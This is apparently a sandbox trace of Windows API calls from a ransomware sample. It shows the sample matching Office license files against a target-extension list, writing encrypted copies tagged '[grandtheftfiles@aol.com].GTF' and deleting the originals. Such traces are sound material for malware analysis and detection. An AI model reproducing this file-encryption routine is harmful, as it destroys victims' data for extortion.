	[0178.332] lstrlenW (lpString=".pdf") returned 4
	[0178.332] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString=".xls") returned 4
	[0178.332] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString=".xlsx") returned 5
	[0178.332] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.332] lstrlenW (lpString=".ppt") returned 4
	[0178.332] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.332] lstrlenW (lpString=".zip") returned 4
	[0178.332] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString=".rar") returned 4
	[0178.332] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString=".bz2") returned 4
	[0178.332] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString=".7z") returned 3
	[0178.332] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.332] lstrlenW (lpString=".dbf") returned 4
	[0178.332] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.332] lstrlenW (lpString=".1cd") returned 4
	[0178.332] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.332] lstrlenW (lpString=".jpg") returned 4
	[0178.332] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.333] lstrlenW (lpString=".doc") returned 4
	[0178.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString=".docx") returned 5
	[0178.333] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.333] lstrlenW (lpString=".pdf") returned 4
	[0178.333] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString=".xls") returned 4
	[0178.333] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString=".xlsx") returned 5
	[0178.333] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.333] lstrlenW (lpString=".ppt") returned 4
	[0178.333] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.333] lstrlenW (lpString=".zip") returned 4
	[0178.333] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString=".rar") returned 4
	[0178.333] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString=".bz2") returned 4
	[0178.333] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString=".7z") returned 3
	[0178.333] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.333] lstrlenW (lpString=".dbf") returned 4
	[0178.333] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.333] lstrlenW (lpString=".1cd") returned 4
	[0178.333] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-ul-oob.xrm-ms") returned 90
	[0178.333] lstrlenW (lpString=".jpg") returned 4
	[0178.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.334] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.334] lstrlenW (lpString="O365BusinessR_SubTest-ul-oob.xrm-ms") returned 35
	[0178.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.335] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11626) returned 1
	[0178.335] CloseHandle (hObject=0x558) returned 1
	[0178.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220
	[0178.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.336] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.336] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.339] GetLastError () returned 0x0
	[0178.339] ReadFile (in: hFile=0x558, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d6a, lpOverlapped=0x0) returned 1
	[0178.349] WriteFile (in: hFile=0x43c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0178.350] ReadFile (in: hFile=0x558, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.351] WriteFile (in: hFile=0x43c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0178.351] SetEndOfFile (hFile=0x43c) returned 1
	[0178.351] CloseHandle (hObject=0x43c) returned 1
	[0178.351] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.351] SetEndOfFile (hFile=0x558) returned 1
	[0178.354] CloseHandle (hObject=0x558) returned 1
	[0178.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1
	[0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.356] lstrlenW (lpString=".doc") returned 4
	[0178.356] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.356] lstrlenW (lpString=".docx") returned 5
	[0178.356] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.356] lstrlenW (lpString=".pdf") returned 4
	[0178.356] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.356] lstrlenW (lpString=".xls") returned 4
	[0178.356] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.356] lstrlenW (lpString=".xlsx") returned 5
	[0178.356] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.356] lstrlenW (lpString=".ppt") returned 4
	[0178.356] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.356] lstrlenW (lpString=".zip") returned 4
	[0178.356] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.356] lstrlenW (lpString=".rar") returned 4
	[0178.356] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.356] lstrlenW (lpString=".bz2") returned 4
	[0178.357] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString=".7z") returned 3
	[0178.357] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.357] lstrlenW (lpString=".dbf") returned 4
	[0178.357] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.357] lstrlenW (lpString=".1cd") returned 4
	[0178.357] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.357] lstrlenW (lpString=".jpg") returned 4
	[0178.357] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.357] lstrlenW (lpString=".doc") returned 4
	[0178.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString=".docx") returned 5
	[0178.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.357] lstrlenW (lpString=".pdf") returned 4
	[0178.357] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString=".xls") returned 4
	[0178.357] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString=".xlsx") returned 5
	[0178.357] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.357] lstrlenW (lpString=".ppt") returned 4
	[0178.357] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.357] lstrlenW (lpString=".zip") returned 4
	[0178.357] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString=".rar") returned 4
	[0178.357] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.357] lstrlenW (lpString=".bz2") returned 4
	[0178.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.358] lstrlenW (lpString=".7z") returned 3
	[0178.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.358] lstrlenW (lpString=".dbf") returned 4
	[0178.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.358] lstrlenW (lpString=".1cd") returned 4
	[0178.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0178.358] lstrlenW (lpString=".jpg") returned 4
	[0178.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.359] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.359] lstrlenW (lpString="O365BusinessR_SubTrial-ppd.xrm-ms") returned 33
	[0178.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.360] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=22466) returned 1
	[0178.360] CloseHandle (hObject=0x558) returned 1
	[0178.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 0x220
	[0178.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.361] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.361] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0178.362] GetLastError () returned 0x0
	[0178.362] ReadFile (in: hFile=0x558, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x57c2, lpOverlapped=0x0) returned 1
	[0178.423] WriteFile (in: hFile=0x43c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x57d0, lpOverlapped=0x0) returned 1
	[0178.424] ReadFile (in: hFile=0x558, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.424] WriteFile (in: hFile=0x43c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0178.425] SetEndOfFile (hFile=0x43c) returned 1
	[0178.425] CloseHandle (hObject=0x43c) returned 1
	[0178.430] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.430] SetEndOfFile (hFile=0x558) returned 1
	[0178.440] CloseHandle (hObject=0x558) returned 1
	[0178.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ppd.xrm-ms")) returned 1
	[0178.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.441] lstrlenW (lpString=".doc") returned 4
	[0178.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.441] lstrlenW (lpString=".docx") returned 5
	[0178.441] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.442] lstrlenW (lpString=".pdf") returned 4
	[0178.442] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString=".xls") returned 4
	[0178.442] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString=".xlsx") returned 5
	[0178.442] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.442] lstrlenW (lpString=".ppt") returned 4
	[0178.442] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.442] lstrlenW (lpString=".zip") returned 4
	[0178.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString=".rar") returned 4
	[0178.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString=".bz2") returned 4
	[0178.442] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString=".7z") returned 3
	[0178.442] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.442] lstrlenW (lpString=".dbf") returned 4
	[0178.442] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.442] lstrlenW (lpString=".1cd") returned 4
	[0178.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.442] lstrlenW (lpString=".jpg") returned 4
	[0178.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.442] lstrlenW (lpString=".doc") returned 4
	[0178.442] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString=".docx") returned 5
	[0178.443] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.443] lstrlenW (lpString=".pdf") returned 4
	[0178.443] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString=".xls") returned 4
	[0178.443] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString=".xlsx") returned 5
	[0178.443] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.443] lstrlenW (lpString=".ppt") returned 4
	[0178.443] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.443] lstrlenW (lpString=".zip") returned 4
	[0178.443] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString=".rar") returned 4
	[0178.443] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString=".bz2") returned 4
	[0178.443] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString=".7z") returned 3
	[0178.443] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.443] lstrlenW (lpString=".dbf") returned 4
	[0178.443] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.443] lstrlenW (lpString=".1cd") returned 4
	[0178.443] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0178.443] lstrlenW (lpString=".jpg") returned 4
	[0178.443] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.444] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0178.444] lstrlenW (lpString="O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0178.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0178.742] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23207) returned 1
	[0178.742] CloseHandle (hObject=0x548) returned 1
	[0178.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0178.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0178.930] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.930] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0178.931] GetLastError () returned 0x0
	[0178.931] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5aa7, lpOverlapped=0x0) returned 1
	[0178.945] WriteFile (in: hFile=0x57c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5ab0, lpOverlapped=0x0) returned 1
	[0178.946] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.946] WriteFile (in: hFile=0x57c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x12a, lpOverlapped=0x0) returned 1
